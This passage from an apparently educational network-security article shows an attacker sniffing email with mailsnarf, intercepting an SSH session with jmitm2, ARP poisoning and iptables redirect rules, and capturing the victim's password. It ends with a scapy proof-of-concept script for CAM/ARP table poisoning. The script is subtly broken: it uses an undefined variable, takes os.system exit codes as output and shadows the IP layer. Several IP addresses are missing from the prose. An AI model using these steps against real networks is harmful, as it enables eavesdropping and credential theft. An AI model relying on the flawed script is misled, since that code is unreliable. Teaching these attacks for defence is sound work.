Fig. 13 TCP stream capture of Bob's incoming email. Click to enbiggen.

Like the Telnet capture, the red-colored traffic originates from the client, and the blue from the server.

Packet sniffers are great for filtering on the various email protocols, but things can get a little nuts if there is a lot of email traffic. Automated tools exist that capture full email messages of interest, saving us the trouble of digging through and organizing a tangled packet capture. One utility, mailsnarf [dsniff], cleanly captures and stores sniffed email: invoking mailsnarf -i eth0 starts a listener on the specified interface that quietly waits to grab passing email. You can also pass it filtering patterns in Berkeley Packet Filter syntax to target specific users or protocols. The drawback is that mailsnarf only captures SMTP and POP traffic7
The mailsnarf man page suggests a further requirement that messages be in Berkeley mbox format, but it works just fine with servers configured to use the alternative Maildir-style directory format.
, and so would have missed Bob's unfortunate ransom note that was retrieved with IMAP.

As a final example, Joe will use mailsnarf to intercept an email sent from Bob to Alice. Both have accounts on and so the email never leaves the LAN; Joe will need to poison Alice, Bob, and the mail server twice over (once for Alice's and once for Bob's record). Like Bob, Alice too uses Icedove, but it is configured to use POP instead of IMAP. When Bob's system sends his outgoing mail to the server over SMTP, it is sniffed and displayed my mailsnarf. When Alice sees that she's got a new message in her inbox, she opens it: POP fetches the email from the mail server, and mailsnarf grabs it. Figure 14 shows the resulting output of mailsnarf: the top message is that sent by Bob to the mail server, and the bottom is that retrieved from the mail server by Alice -- it's the same message so the email body is obviously the same, though the header information differs slightly.

Fig. 14 Sniffed sent (top) and retrieved (bottom) messages using mailsnarf.

Looks like Bob is wining to Alice about his ransom situation.

Through these examples we have learned that cleartext communications are as good as compromised. As a simple rule, we should assume that any and all unencrypted data sent out into the world will be read by strangers; while we might be OK with this for certain kinds of data, personal identifying information, passwords, financial and health data, and similar sensitivities must be safeguarded. The corollary to our simple rule: we should use strong encryption whenever and wherever possible. Tattoo it on your forehead.

3.2 Eavesdropping on Secure Communications

Strong encryption that is implemented properly is effectively impossible to break. Standard encryption schemes will withstand shelling from all but the most capable and resourced adversaries, and yet, everyday encrypted communications are successfully attacked. The problem is not with the algorithms or protocols, it's with the meat bag at the keyboard.

Humans are the solar plexus of secure communications. Cyber adversaries will concentrate their efforts on the fallibility of the common user rather than expend resources attacking hardened encryption protocols. These techniques generally fall into two camps: either the user is tricked into setting up a secure connection with the adversary rather than the intended party, or the user is tricked into setting up a nonsecure connection. We'll examine these two approaches within the context of a couple of common secure internet protocols.

3.2.1 Secure Shell

SSH was developed to provide a secure, authenticated remote shell connection. The current version of SSH, version 2, employs strong encryption (AES, 3DES, blowfish, CAST-128, or RC4) for data exchange and message authentication codes to ensure data integrity and authenticity. SSH is primarily used as a secure terminal connection, but it is possible to "tunnel'' other protocols like web, database, and chat through SSH to encrypt and protect these applications. In this context SSH can be compared to Secure Sockets Layer/Transport Layer Security (SSL/TLS)8
"SSL'' was the original designation, the switch to "TLS'' accompanied several technical advancements and improved semantic accuracy (encryption applied at the transport layer of the OSI model). The original appellation "SSL'' remains popular for backwards compatibility with human stubbornness.
as a more or less general purpose encryption provider for application data. SSL/TLS forms the basis of secure web communications (HTTPS), and we'll discuss it in this role in the next section.

SSH establishes secure connections via a choreographed series of data exchanges called a handshake. The intent of this interaction is to perform user authentication and to ultimately exchange a secret session key that will be used to encrypt (and decrypt) the session's data. Like SSL/TLS, SSH employs asymmetric, or public key, cryptography to perform the secure session key exchange. Since SSHv2, the Diffie-Hellman method has been used to generate the secret session key: the server and client each create identical secret keys using both private and publicly shared ingredients. Diffie-Hellman is solid and provides a secure way to exchange keys, but SSH still needs a way to establish the authenticity of the server9
The authenticity of the client is established via user credential (password login or digital signature) at a separate stage.
. This is done via digital signatures -- SSHv2 supports RSA, digital signature algorithm (DSA), and elliptic curve digital signing.

Recall that a digital signature is private key encryption -- the client validates the signature through decryption with the server's associated public key. But where does the client get the server's public key? While SSHv2 can be configured to work with a third-party certificate authority much like HTTPS, few SSH implementations are set up this way. Without a certificate authority, the server simply gives the client its public host key along with the signed key exchange data, smiles, and says "trust me.'' Once the client validates the server, the user authenticates via password or digital signature and the secure connection is established. How might an attacker subvert this process to establish a man-in-the-middle? In the easiest and clumsiest way possible: by intercepting the client's request and offering its own host key and signature in place of that of the true SSH server. This way, the victim unwittingly sets up an authenticated, encrypted session with the attacker, who then negotiates his own separate connection to the true SSH server on behalf of the client using the victim's credentials. He can then easily forward the client's traffic on to the true server completing the session, and he is now in position to decrypt and read all traffic. Insidious. But, surely the victim's system will catch these shenanigans!

Fig. 15 The SSH server running on Alice's system has presented Bob with a DSA host key that does not match the previously stored RSA host key. The connection is aborted after a warning is issued.

and the connection is aborted (Figure 15). The problem is that sometimes there are legitimate reasons that the server's host keys have changed -- perhaps an administrator has re-imaged or re-installed the host. If the user suspects that this is the case, the warning message suggests a workaround: simply add this new public key to the known_hosts10
The new host key isn't actually added. Instead, the host's existing entry must be deleted and the SSH connection re-attempted. When connecting to a host for the first time, SSH will notify the user and ask permission to add the new host key to the known_hosts file. Of course the host name in the known_hosts file can only be deleted if it is readable: if HashKnownHosts is set to yes in /etc/ssh/ssh_config, all the host names are hashed and illegible. The easiest thing to do in this case is delete the entire known_hosts file and start fresh.
file. So while the system does its best to give warning, it is ultimately up to the user to decide how to proceed11
Unless StrictHostChecking is activated in /etc/ssh/ssh_config. Then, all new keys are rejected.
. Let's see how an attacker can leverage the less than optimal judgement of the everyday user12
I cannot count the number of times I've blown away my known_hosts file without a second thought in the face of a host key mismatch. Getting hacked is bad but not finishing my thesis on time is worse.
to subvert secure communications over SSH.

In this demonstration, Bob attempts an SSH connection from his Debian Linux host ( to Alice's Debian Linux system ( Bob has done this before, and so he has Alice's host's public key in his ~/.ssh/known_hosts file, Figure 16.

Fig. 16 Contents of Bob's known_hosts file. Format is host name, IP address, digital signature protocol, host key base64-encoded.

The entry includes Alice's host name, IP address, protocol type (Alice's ssh server is using RSA for digital signing), and then the key itself encoded in base64. In fact, we can see what happens during a typical login by examining the SSH handshake and confirm that the host key sent by the server matches the one in known_hosts. Figure 17 shows a packet capture of Bob's SSH connection to Alice. The server, Alice's system, sends the host key in packet 30, helpfully identified by Wireshark as "Diffie-Hellman Key Exchange Reply''. Inside this packet, in the SSH application header, the public key occupies byte positions 96 through 351 of the hexadecimal readout (each hexadecimal character is half a byte). The first 16 bytes identify the algorithm, leaving the 2046 bit key highlighted in yellow. Verify for yourself that the base64 key from known_hosts decodes to the highlighted hexadecimal data.

Fig. 17 Packet capture of the SSH handshake. The server's host key is presented to the client in packet 30. The bottom pane shows a portion of this packet's SSH application header. The host key in hexadecimal is highlighted in yellow. The column to the right is the ASCII translation.

It is becoming clear just how easily this negotiation can be falsified, and there are several publicly available tools that facilitate SSH man-in-the-middle. Though popular, the sshmitm tool from the dsniff suite [dsniff] only works with SSHv1, which is deprecated and not widely implemented nowadays. A java utility called jmitm2 [4] is successful against SSHv2, and we'll use it to snoop on Bob's SSH session. First, let's review the attack concept. Figure 18 depicts Joe as a man-in-the-middle within Bob's SSH connection to Alice's system: from this vantage point, he can intercept Bob's connection request and masquerade as Alice. Of course, he can't do this perfectly: in step 3 Bob notices that the host key provided by Joe in step 2 does not match the one he has on file for Alice. If Bob decides to connect anyway, presenting Joe with his credential, the attack succeeds. Once Joe has Bob's credential, he can go ahead and initiate an essentially legitimate SSH connection to Alice on Bob's behalf, proxying his connection. So Joe creates two separate SSH connections: one with Bob pretending to be Alice's server, and one with Alice's server pretending to be Bob. Though each session is encrypted, Joe holds keys to both and so can decrypt and view all traffic.

Fig. 18 Schematic of the SSH man-in-the-middle. Joe intercepts Bob's connection to Alice and tricks him into setting up the session with him instead of Alice. Joe uses Bob's captured credential to then set up a connection with Alice on his behalf. Though each session is separately encrypted, Joe holds keys to both and so can decrypt and view all traffic.

The jmitm2 tool automates this attack13
Configuration is straightforward: add the IP and port of the target SSH server in jmitm2/bin/ and add the attacker's IP and port in jmitm2/bin/conf/server.xml.
. From the command line, Joe runs the script jmitm/bin/ which starts a listener on the port specified in the script. The SSH daemon typically binds to port 22, so this is a fine choice14
In order to run on port 22, he must disable any process, including his own SSH server if he has one, that might be listening on this port.
. Next, Joe needs to set up a man-in-the-middle between Bob and Alice, say, via ARP cache poisoning. This isn't enough though, since he will succeed only in passively sniffing Bob's connection to Alice, just like the Telnet example. Here, Joe must direct Bob's sniffed traffic to running on his port 22. He can do this with the firewall rules:

$ iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT
$ iptables -A FORWARD -j ACCEPT

When Bob initiates his SSH connection, his packets are addressed to Alice's port 22: these are scooped up by Joe and the first rule redirects this traffic to listening on Joe's port 22. The script responds to Bob's request as a typical SSH server, except that it uses Alice's IP as its source address so that Bob thinks he's connecting to Alice. When presents Joe's host key to Bob, he will receive a warning like the one in Figure 15.

Fig. 19 Joe's system offers Bob its host key, pretending to be Alice. The message presents the host key fingerprint, which is the md5sum of the base64-encoded key.

If he ignores the warning and removes Alice's record in known_hosts, upon reconnection he will receive the message in Figure 19. This is Joe's DSA host key signature, but jmitm2 makes it look like it's from Alice. Once Bob enters "yes'', he has set up an encrypted connection to Joe and essentially totally screwed himself.

Fig. 20 A portion of the intercepted SSH login. Bob's password is captured in the last line.

When Bob enters his password, jmitm2 decrypts it and re-encrypts it so that it can authenticate to Alice's server as Bob. Figure 20 shows the decrypted password as it is handled by jmitm2. Joe has completed the SSH man-in-the-middle and has stolen Bob's password as a bonus. Some SSH servers accept key authentication instead of passwords, where the client encrypts certain session data with a private key as part of the authentication step (the server must have a copy of the user's public key to complete the authentication). While Joe can still intercept this data and set up a connection with Alice on Bob's behalf, he cannot intercept the key itself because it's never sent.

Figure 21 shows a packet capture of the full SSH man-in-the-middle from the attackers vantage point. First, in packet 28, Bob (at initiates an SSH connection to Alice (at; however, Wireshark shows Joe (at as the destination IP address. Why is this?

Fig. 21 Packet capture of the SSH man-in-the-middle from the attacker's vantage point.

The first iptables rule on the previous page redirects packets to Joe's system in the prerouting stage -- before Wireshark handles them. By the time they are examined by Wireshark, iptables has changed the destination socket to Joe's port 22: The reply, packet 29, appears to originate with Alice but this is just Joe's system spoofing her IP. So the pattern of the first SSH handshake is \({\color{black}{\rightarrow}}\), \({\color{black}{\rightarrow}}\) The first handshake is completed with packet 114, when the session keys are exchanged. The second SSH connection, from Joe to Alice, starts with packet 131. This is just a straight handshake, but Joe passes Bob's credentials (not shown) in order to set up the connection on his behalf.

In this example, the SSH server was on the same LAN as Bob and so Joe was able to poison both systems. It is certainly possible that the SSH server instead lives somewhere else on the internet, out of the range of Joe's spoofed ARP messages. The attack is still possible though if Joe poisons the subnet's gateway instead of the SSH server. The gateway sees all traffic from the LAN that is bound for the internet; it is typically a router that maintains its own ARP table, and so it can be poisoned just like Bob's client. With Bob and the gateway poisoned, Joe can intercept all communications between Bob and the outside world. This is necessary for our next example, where Joe attempts to snoop on Bob's secure web traffic.


Proof of concept script that implements the CAM table poisoning attack discussed in this article.

# USAGE: target1 target2 interface

import os,sys
from scapy.all import *

# Attacker IP and MAC:

IP = "ifconfig | grep -A 1 %s | grep inet | cut -d ':' -f 2 | cut -d ' ' -f 1" % sys.argv[3]
MAC = "ifconfig | grep -A 1 %s | grep HWaddr | cut -d ' ' -f 10" % sys.argv[3]

# Ethernet frame of Attacker

raw1 = Ether()
raw1.type = 0x806
raw1.dst = "ff:ff:ff:ff:ff:ff"  # Broadcast
raw1.src = os.system(MAC) 

# Craft arp requests to targets so that we can learn target MACs

arp1 = raw1/ARP()

arp1[ARP].hwsrc = raw1.src
arp1[ARP].hwdst = raw1.dst
arp1[ARP].pdst = sys.argv[1]  # Target 1
arp1[ARP].psrc = os.system(IP)  # Attacker IP

arp2 = raw1/ARP()

arp2[ARP].hwsrc = raw1.src
arp2[ARP].hwdst = raw1.dst
arp2[ARP].pdst = sys.argv[2]  # Target 2
arp2[ARP].psrc = os.system(IP)

# Send requests and record Target MACs

rep1 = srp1(arp1)	# expect 1 response from Layer 2
rep2 = srp1(arp2)

# Prepare spoofed ARP requests

raw2.src = rep2.src  # Change source MAC to Target 2 
arp1[ARP].hwsrc = rep2.src
arp1[ARP].psrc = sys.argv[2] # Change source IP to Target 2

raw1.src = rep1.src
arp2[ARP].hwsrc = rep1.src
arp2[ARP].psrc = sys.argv[1]

while True:

  # Spoofed Ethernet frames poison Target 1 and 2 CAM entries

  sendp(raw1)  # No response necessary

  # Wait until we catch a packet from one of our targets

  traffic = sniff(count=1,filter="dst host %s or dst host %s" % (sys.argv[1], sys.argv[2]))

  if traffic[0][IP].dst == sys.argv[1]:   # If the packet is addressed to Target 1...
    sendp(arp1)  #  Unpoison Target 1/Repoison Target 2
    traffic2= srp1(traffic)  # Send packet along and receive reply
    sendp(arp2) # Unpoison Target 2/Repoison Target 1
    sendp(traffic2)  # Send packet along and receive reply
    traffic2= srp1(traffic)


Download as PDF